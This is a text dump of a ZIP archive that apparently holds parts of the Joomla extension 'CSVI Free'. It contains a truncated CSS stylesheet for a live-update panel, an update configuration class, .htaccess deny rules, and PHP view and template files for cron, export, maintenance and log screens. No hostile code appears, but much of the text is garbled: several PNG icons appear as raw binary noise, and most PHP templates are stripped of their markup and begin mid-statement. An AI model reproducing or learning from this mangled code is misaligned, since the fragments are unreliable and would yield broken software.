#f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 620px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver } #nagscreen { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; }PK@y>\vpVPP3components/com_csvi/liveupdate/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PK@y>\q4components/com_csvi/liveupdate/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\2;\\1components/com_csvi/liveupdate/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PK@y>\^ON1components/com_csvi/liveupdate/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PK@y>\^^7components/com_csvi/liveupdate/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\/qT/components/com_csvi/liveupdate/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PK@y>\. 6components/com_csvi/liveupdate/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PK@y>\)/components/com_csvi/liveupdate/assets/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#\)components/com_csvi/liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_csvi'; var $_extensionTitle = 'CSVI Free'; var $_updateURL = 'http://www.csvimproved.com/index.php?option=com_ars&view=update&format=ini&id=2'; var $_versionStrategy = 'vcompare'; var $_requiresAuthorization = true; /** var $_storageAdapter = 'component'; var $_storageConfig = array( 'extensionName' => 'com_akeebasubs', 'key' => 'liveupdate' ); */ public function __construct() { parent::__construct(); // Dev releases use the "newest" strategy if(substr($this->_currentVersion,1,2) == 'ev') { $this->_versionStrategy = 'newest'; } } }PK@y>\)components/com_csvi/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,)components/com_csvi/views/cron/index.htmlnuW+APK@y>\)(components/com_csvi/views/cron/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,.components/com_csvi/views/cron/tmpl/index.htmlnuW+APK@y>\9փ%%/components/com_csvi/views/cron/tmpl/default.phpnuW+A
      cronline; ?>
      PK@y>\)-components/com_csvi/views/cron/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\~O,components/com_csvi/views/cron/view.html.phpnuW+Ainput; $option = $jinput->get('option'); $data = $jinput->get($option.'.data', array(), 'array'); $from = $jinput->get('from'); // The basics of the cronline $this->cronline = 'php "'.JPATH_COMPONENT_ADMINISTRATOR.'/helpers/cron.php" username="" passwd="" '; // Construct the correct cron switch ($from) { case 'process': if (!empty($data)) { // Load the template handler $this->loadHelper('template'); // Construct the cronline $this->cronline .= $this->get('CronLine'); } else $this->cronline = JText::_('COM_CSVI_NO_CRON_DATA_FOUND'); JToolBarHelper::custom('process', 'csvi_process_32.png', 'csvi_process_32.png', JText::_('COM_CSVI_PROCESS'), false); break; case 'maintenance': // Construct the cronline $this->cronline .= $this->get('CronLineMaintenance'); JToolBarHelper::custom('maintenance', 'csvi_maintenance_32.png', 'csvi_maintenance_32.png', JText::_('COM_CSVI_MAINTENANCE'), false); break; } // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_CRON'), 'csvi_cron_48'); // Display it all parent::display($tpl); } } ?>PK@y>\ʿ&&2components/com_csvi/views/exportfile/view.html.phpnuW+Ainput; // Process the export data $result = $this->get('ProcessData'); if (!$jinput->get('cron', false, 'bool')) { // Load the results $logresult = $this->get('Stats', 'log'); $this->assignRef('logresult', $logresult); // Load the run ID $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $this->assignRef('run_id', $csvilog->getId()); } // Display it all parent::display($tpl); } } ?>PK@y>\)3components/com_csvi/views/exportfile/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\I#"h  5components/com_csvi/views/exportfile/tmpl/default.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { $filename = $jinput->get('template_name'); echo JText::sprintf('COM_CSVI_RESULTS_FOR', $filename)."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen($filename)+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } echo JText::sprintf('COM_CSVI_SAVED_FILE', $this->logresult['file_name'])."\n"; } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PK@y>\#o,,4components/com_csvi/views/exportfile/tmpl/index.htmlnuW+APK@y>\).components/com_csvi/views/exportfile/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,/components/com_csvi/views/exportfile/index.htmlnuW+APK@y>\)3components/com_csvi/views/availablefields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,4components/com_csvi/views/availablefields/index.htmlnuW+APK@y>\)8components/com_csvi/views/availablefields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,9components/com_csvi/views/availablefields/tmpl/index.htmlnuW+APK@y>\% :components/com_csvi/views/availablefields/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      : actions; ?> components; ?> operations; ?> name="filter_idfields" id="filter_idfields" />
      pagination->getResultsCounter(); ?>
      availablefields ); $i < $n; $i++) { $row = $this->availablefields[$i]; ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> csvi_name; if ($row->isprimary) echo ''.JText::_('COM_CSVI_IS_PRIMARY').''; ?> component_name; ?> component_table; ?>
      PK@y>\;6 6 7components/com_csvi/views/availablefields/view.html.phpnuW+Aavailablefields = $this->get('Items'); // Load the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); if (!$this->get('FieldCheck')) Throw new Exception(JText::_('COM_CSVI_NO_AVAILABLE_FIELDS'), 0); // Get the list of actions $options = array(); $options[] = JHtml::_('select.option', 'import', JText::_('COM_CSVI_IMPORT')); $options[] = JHtml::_('select.option', 'export', JText::_('COM_CSVI_EXPORT')); $this->actions = JHtml::_('select.genericlist', $options, 'jform_options_action', 'onchange="Csvi.loadTemplateTypes();"', 'value', 'text', $this->state->get('filter.action', '')); // Get the list of supported components $this->components = JHtml::_('select.genericlist', CsviHelper::getComponents(), 'jform_options_component', 'onchange="Csvi.loadTemplateTypes();"', 'value', 'text', $this->state->get('filter.component')); // Get the list of template types $model = $this->getModel(); $templates_model = $model->getModel('templates'); $operations = $templates_model->getTemplateTypes($this->state->get('filter.action', 'import'), $this->state->get('filter.component', false)); // Create the operations list $this->operations = JHtml::_('select.genericlist', $operations, 'jform_options_operation', '', 'value', 'name', $this->state->get('filter.operation'), false, true); // Get the panel $this->loadHelper('panel'); // Show the toolbar $this->addToolbar(); // Display it all parent::display($tpl); } /** * Display the toolbar * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return * @since 3.0 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CSVI_AVAILABLE_FIELDS'), 'csvi_availablefields_48'); JToolBarHelper::custom('maintenance.updateavailablefields', 'csvi_availablefields_32', 'csvi_availablefields_32', JText::_('COM_CSVI_UPDATE'), false); //JToolBarHelper::help('available_fields.html', true); } } ?>PK@y>\#o,,0components/com_csvi/views/maintenance/index.htmlnuW+APK@y>\|i3components/com_csvi/views/maintenance/view.html.phpnuW+Acomponents = $this->get('Components'); // Get the maintenance options $this->options = $this->get('MaintenanceOptions'); $app = JFactory::getApplication(); $app->setUserState('com_csvi.global.form', false); // Load the results $jinput = JFactory::getApplication()->input; $settings = $jinput->get('settings', null, null); if ($settings->get('log.log_store', 1)) { $this->logresult = $this->get('Stats', 'log'); $this->logmessage = $this->get('StatsMessage', 'log'); } else $this->logresult = false; // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_MAINTENANCE'), 'csvi_maintenance_48'); if ($this->getLayout() != 'log') { JToolBarHelper::custom('cron.cron', 'csvi_cron_32', 'csvi_cron_32', JText::_('COM_CSVI_CRONLINE'), false); JToolBarHelper::custom('', 'csvi_continue_32.png', 'csvi_continue_32.png', JText::_('COM_CSVI_CONTINUE'), false); //JToolBarHelper::help('maintenance.html', true); } else if ($settings->get('log.log_store', 1)) { JToolBarHelper::custom('logdetails.logdetails', 'csvi_logdetails_32', 'csvi_logdetails_32', JText::_('COM_CSVI_LOG_DETAILS'), false); } // Display it all parent::display($tpl); } } ?> PK@y>\ 5components/com_csvi/views/maintenance/tmpl/icecat.phpnuW+A
      PK@y>\ $@@2components/com_csvi/views/maintenance/tmpl/log.phpnuW+Alogresult) { ?> logresult['result']) > 0) { foreach ($this->logresult['result'] as $result => $log) { ?>
      logresult['action_type']); ?>
      total_result; ?> result; ?> status); ?>
      operation[0].'_LABEL')); echo '
      '; echo '
      '; echo JText::_('COM_CSVI_NO_LOG_EXPLAIN'); } ?> PK@y>\(6components/com_csvi/views/maintenance/tmpl/default.phpnuW+A
      components, 'component', 'onchange=CsviMaint.loadOperation(this.value)','value', 'text', null, false, true); ?> options, 'operation', 'onchange=CsviMaint.loadOptions(this.value)'); ?>
      PK@y>\)4components/com_csvi/views/maintenance/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#o,,5components/com_csvi/views/maintenance/tmpl/index.htmlnuW+APK@y>\ bEcomponents/com_csvi/views/maintenance/tmpl/default_sortcategories.phpnuW+A
      • languages, 'language'); ?>
      PK@y>\3components/com_csvi/views/maintenance/tmpl/cron.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); // Display any messages there are if (!empty($csvilog->logmessage)) echo $csvilog->logmessage; else { echo JText::sprintf('COM_CSVI_RESULTS_FOR', JText::_('COM_CSVI_'.strtoupper(JRequest::getCmd('task')).'_LABEL'))."\n"; echo str_repeat("=", (strlen(JText::_('COM_CSVI_RESULTS_FOR'))+strlen(JRequest::getCmd('task'))+1))."\n"; if (!empty($this->logresult['result'])) { echo JText::_('COM_CSVI_TOTAL')."\t\t".JText::_('COM_CSVI_RESULT')."\t\t".JText::_('COM_CSVI_STATUS')."\n"; foreach ($this->logresult['result'] as $result => $log) { echo $log->total_result."\t\t".$log->result."\t\t".JText::_('COM_CSVI_'.$log->status)."\n"; } } else echo JText::_('COM_CSVI_NO_RESULTS_FOUND')."\n"; } ?>PK@y>\w)>components/com_csvi/views/maintenance/tmpl/availablefields.phpnuW+A
      PK@y>\# =components/com_csvi/views/maintenance/tmpl/default_icecat.phpnuW+A
      PK@y>\lNQ""2components/com_csvi/views/maintenance/view.raw.phpnuW+AloadTemplate('icecat'); break; case 'sortcategories': $this->languages = $this->get('Languages'); echo $this->loadTemplate('sortcategories'); break; } } } ?> PK@y>\)/components/com_csvi/views/maintenance/.htaccessnuW+A Order allow,deny Deny from all PK@y>\(G$ $ 3components/com_csvi/views/maintenance/view.json.phpnuW+Ainput; $task = strtolower($jinput->get('task')); switch ($task) { case 'icecatindex': case 'updateavailablefields': JToolBarHelper::custom('cancelimport', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_CANCEL'), false); // Display it all parent::display($tpl); break; case 'icecatsingle': $this->get('IcecatSingle'); $result['view'] = ''; // Get the number of records processed $result['records'] = $jinput->get('linesprocessed', 0, 'int'); if ($jinput->get('finished', false, 'bool')) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option='.$jinput->get('option').'&task=logdetails.logdetails&run_id[]='.$jinput->get('run_id', 0, 'int'); } else { $result['process'] = true; } // Output the results echo json_encode($result); break; case 'updateavailablefieldssingle': $continue = $this->get('AvailableFieldsSingle', 'availablefields'); $result['view'] = ''; // Get the number of records processed $result['table'] = $jinput->get('updatetable', '', 'string'); if (!$continue) { $result['process'] = false; $result['url'] = JURI::root().'administrator/index.php?option='.$jinput->get('option').'&task=logdetails.logdetails&run_id='.$jinput->get('run_id', 0, 'int'); // Store the log results $this->get('finishProcess'); } else { $result['process'] = true; } // Output the results echo json_encode($result); break; } } } ?> PK@y>\$components/com_csvi/views/index.htmlnuW+APK@y>\).components/com_csvi/views/logdetails/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ //2components/com_csvi/views/logdetails/view.html.phpnuW+Alogmessage = $this->get('Items'); $this->setModel(JModel::getInstance('log', 'CsviModel')); $this->logresult = $this->get('Stats', 'log'); // Load the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Set the Run ID $jinput = JFactory::getApplication()->input; $this->run_id = $jinput->get('run_id', 0, 'int'); // Set the actions $this->list['actions'] = $this->get('Actions'); $this->list['results'] = $this->get('Results'); // Get the panel $this->loadHelper('panel'); // Add toolbar JToolBarHelper::title(JText::_('COM_CSVI_LOG_DETAILS'), 'csvi_logdetails_48'); JToolBarHelper::custom('logdetails.cancel', 'csvi_cancel_32', 'csvi_cancel_32', JText::_('COM_CSVI_BACK'), false); // Display it all parent::display($tpl); } } ?> PK@y>\)3components/com_csvi/views/logdetails/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.؍5components/com_csvi/views/logdetails/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      logresult['action_type'])); ?>
      logresult['file_name']; ?>
      logresult['total_records']; ?>
      logresult['run_cancelled']) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); ?>
      logresult['debug']; ?>
      logresult['debugview'])) { echo '
      '.$this->logresult['debugview'].'
      '; } ?>
      logresult['result'])) { ?> logresult['result'] as $result => $log) { ?>
      total_result; ?> result; ?> status)); ?>
      list['actions']; ?> list['results']; ?>
      pagination->getResultsCounter(); ?>
      logmessage) { foreach ($this->logmessage as $key => $log) { ?>
      pagination->getListFooter(); ?>
      line; ?> status)); ?> result)); ?> description); ?>
      PK@y>\4components/com_csvi/views/logdetails/tmpl/index.htmlnuW+APK@y>\/components/com_csvi/views/logdetails/index.htmlnuW+APK@y>\)(components/com_csvi/views/csvi/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/components/com_csvi/views/csvi/tmpl/default.phpnuW+A
      cpanel_images->process; ?> cpanel_images->replacements; ?> cpanel_images->log; ?> cpanel_images->maintenance; ?>
      cpanel_images->availablefields; ?> cpanel_images->settings; ?> cpanel_images->about; ?> cpanel_images->help; ?> cpanel_images->install; ?>
      PK@y>\#o,,.components/com_csvi/views/csvi/tmpl/index.htmlnuW+APK@y>\)-components/com_csvi/views/csvi/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#cWW,components/com_csvi/views/csvi/view.html.phpnuW+Aauthorise('core.admin', 'com_csvi')) { JToolBarHelper::preferences('com_csvi'); } //JToolBarHelper::help('control_panel.html', true); // Assign data for display $helper = new CsviHelper(); $this->cpanel_images = $helper->getButtons(); // Display the page parent::display($tpl); } } ?> PK@y>\#o,,)components/com_csvi/views/csvi/index.htmlnuW+APK@y>\Z Z 4components/com_csvi/views/templatetype/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Toolbar for product editing * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return void * @since 1.0 */ protected function addToolbar() { // Hide the mainmenu JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); JToolBarHelper::title(JText::_('COM_CSVI_PAGE_'.($checkedOut ? 'VIEW_TEMPLATETYPE' : ($isNew ? 'ADD_TEMPLATETYPE' : 'EDIT_TEMPLATETYPE'))), 'csvi_templates_48.png'); if (!$checkedOut) { JToolBarHelper::apply('templatetype.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('templatetype.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('templatetype.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } // If an existing item, can save to a copy. if (!$isNew) { JToolBarHelper::custom('templatetype.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); } if (empty($this->item->id)) { JToolBarHelper::cancel('templatetype.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::cancel('templatetype.cancel', 'JTOOLBAR_CLOSE'); } } } ?>PK@y>\KЗ((4components/com_csvi/views/templatetype/tmpl/edit.phpnuW+A
      • form->getLabel('template_type_name'); ?> form->getInput('template_type_name'); ?>
      • form->getLabel('template_type'); ?> form->getInput('template_type'); ?>
      • form->getLabel('component'); ?> form->getInput('component'); ?>
      • form->getLabel('options'); ?> form->getInput('options'); ?>
      • form->getLabel('url'); ?> form->getInput('url'); ?>
